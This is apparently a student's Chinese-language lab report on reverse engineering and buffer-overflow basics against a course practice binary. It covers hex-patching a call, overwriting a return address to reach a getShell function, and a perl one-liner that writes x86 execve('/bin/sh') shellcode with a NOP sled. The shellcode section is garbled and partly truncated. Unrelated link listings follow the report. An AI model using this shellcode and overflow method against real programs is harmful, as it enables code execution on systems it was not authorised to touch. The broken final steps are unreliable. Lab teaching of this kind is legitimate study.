出现的问题及解决:

  • 在下载execstack时,出现了下列签名无效的错误!
  • 解决方案:发现是密钥过期了,将新的密钥填入apt-keyring
  • 输入命令:apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6
    再执行update发现问题解决。

实验一 逆向及Bof基础

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP汇编指令的机器码是"90"
  • JNE汇编指令的机器码是"75"
  • JE 汇编指令的机器码是"74"
  • JMP汇编指令的机器码是"eb"
  • CMP汇编指令的机器码是"39"

详情可见汇编指令及机器码速查

2.掌握反汇编与十六进制编程器

1)反汇编命令:objdump -d pwn20155236 | more

2)十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
输入命令vi pwn20155236查看可执行文件内容,发现大部分是我们没法理解的乱码;
按esc后输入:%!xxd将显示模式切换为16进制模式;
进行相关操作后,输入:%!xxd -r转换16进制为原格式。

3.直接修改程序机器指令,改变程序执行流程

1)在vi中查找到e8d7这一行,命令:/e8d7

2)直接按i修改d7为c3

3)输入::%!xxd -r转换16进制为原格式。
4)存盘退出::wq
5)再次输入反汇编命令查看并验证。


实验二 利用foo函数的Bof漏洞

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1)1.输入gdb pwn20155236调试该程序,输入1111111122222222333333334444444455555555字符串确定哪几个字符会覆盖到返回地址

2)再次输入字符串1111111122222222333333334444444412345678确定溢出的是那几位

3)对比之前eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
4)构造输入字符串,由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

3)用xxd input以16进制显示input文件,检查写入地址的正误;

4)确认无误后用(cat input;cat) | ./pwn20155236来将改字符串作为可执行文件的输入。


实验三 注入Shellcode并执行

1)使用apt-get install execstack命令安装execstack。
2)
3)选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1),确定perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode中的x1_x4
4)通过gdb调试得:端口3465,继续调试

将其倒着放入x1_x4中,得x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

20155236范晨歌 Exp1PC平台逆向破解及Bof基础实践的更多相关文章

  1. 20155336虎光元 Exp1PC平台逆向破解及Bof基础实践

    20155336Exp1 PC平台逆向破解(5)M 实践目标: 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入 ...

  2. 20155206赵飞 Exp1PC平台逆向破解及Bof基础实践

    实验一 逆向及Bof基础 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP汇编指令的机器码是"90" JNE汇编指令的机器码是"75" ...

  3. 20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践

    20155202张旭<网络对抗技术> week1 PC平台逆向破解及Bof基础实践 1.实践目标: 实践对象:一个名为pwn1的linux可执行文件. 该程序正常执行流程是: main调用 ...

  4. 20164310Exp1 PC平台逆向破解和BOF基础

    1.逆向及Bof基础实践说明        1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...

  5. 20155236范晨歌_exp6信息搜集与漏洞扫描

    20155236范晨歌_exp6信息搜集与漏洞扫描 目录 实践目标 信息搜集 漏洞扫描 总结 实践目标 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口 ...

  6. 20155236范晨歌_Web安全基础实践

    20155236范晨歌_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 ( ...

  7. 20155236范晨歌_MSF基础应用

    20155236范晨歌_MSF基础应用 20155236范晨歌_MSF基础应用 目录 概述 MS08-067漏洞攻击 MS11-050漏洞攻击 MS10-087漏洞攻击 辅助模块 概述 MSF的六种模 ...

  8. 20155236范晨歌_EXP3免杀原理与实践

    20155236范晨歌_免杀原理与实践 免杀 概述 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字 ...

  9. 20155236范晨歌_Web基础

    20155236范晨歌_Web基础 目录 实践目标 Apache 前端编程 后端编程 PHP MYSQL & 后端 简单SQL注入与XSS 发帖和会话管理 实践目标 (1)Web前端HTML ...

随机推荐

  1. 全局唯一ID生成器

    分布式环境中,如何保证生成的id是唯一不重复的? twitter,开源出了一个snowflake算法,现在很多企业都按照该算法作为参照,实现了自己的一套id生成器. 该算法的主要思路为: 刚好64位的 ...

  2. 12 Things Developers Will Love About Oracle Database 12c Release 2

    by Chris Saxon-Oracle It's Here: Oracle Database 12c Release 2 (12.2) Is available on Oracle Cloud. ...

  3. linux如何查看端口被何进程占用

    1.lsof -i:端口号 2.netstat -tunlp|grep 端口号 都可以查看指定端口被哪个进程占用的情况 工具/原料   linux,windows xshell 方法/步骤     [ ...

  4. EBS中比较复杂的trace方法

    FND LOG Messages-------------------------a) Using the System Administrator Responsibility, navigate  ...

  5. MySQL复制(一)复制原理探讨

    1 复制概述 1.1.复制解决的问题 数据复制技术有以下一些特点: (1) 数据分布 (2) 负载平衡(load balancing) (3) 备份 (4) 高可用性(high availabilit ...

  6. 1503. [NOI2004]郁闷的出纳员【平衡树-splay】

    Description OIER公司是一家大型专业化软件公司,有着数以万计的员工.作为一名出纳员,我的任务之一便是统计每位员工的 工资.这本来是一份不错的工作,但是令人郁闷的是,我们的老板反复无常,经 ...

  7. POJ3977 Subset

    嘟嘟嘟 这个数据范围显然是折半搜索. 把序列分成两半,枚举前一半的子集,存下来.然后再枚举后一半的子集,二分查找. 细节: 1.最优解可能只在一半的子集里,所以枚举的时候也要更新答案. 2.对于当前结 ...

  8. 【转】 Android中selector的使用

    引言 selector中文的意思选择器,在Android中常常用来作组件的背景,这样做的好处是省去了用代码控制实现组件在不同状态下不同的背景颜色或图片的变换.使用十分方便. selector的定义 s ...

  9. 图片保持比例,padding的妙用

    要保持图片的比例不变 这一张图片在不同分辨率(1980px, 1364px,移动端400px)下均保持了一定的比例不变. 方法: padding以及margin的上下(margin-top | mar ...

  10. UITextView 和 UITextField限制字符数和表情符号

    UITextField限制字符数 - (BOOL)textField:(UITextField *)textField shouldChangeCharactersInRange:(NSRange)r ...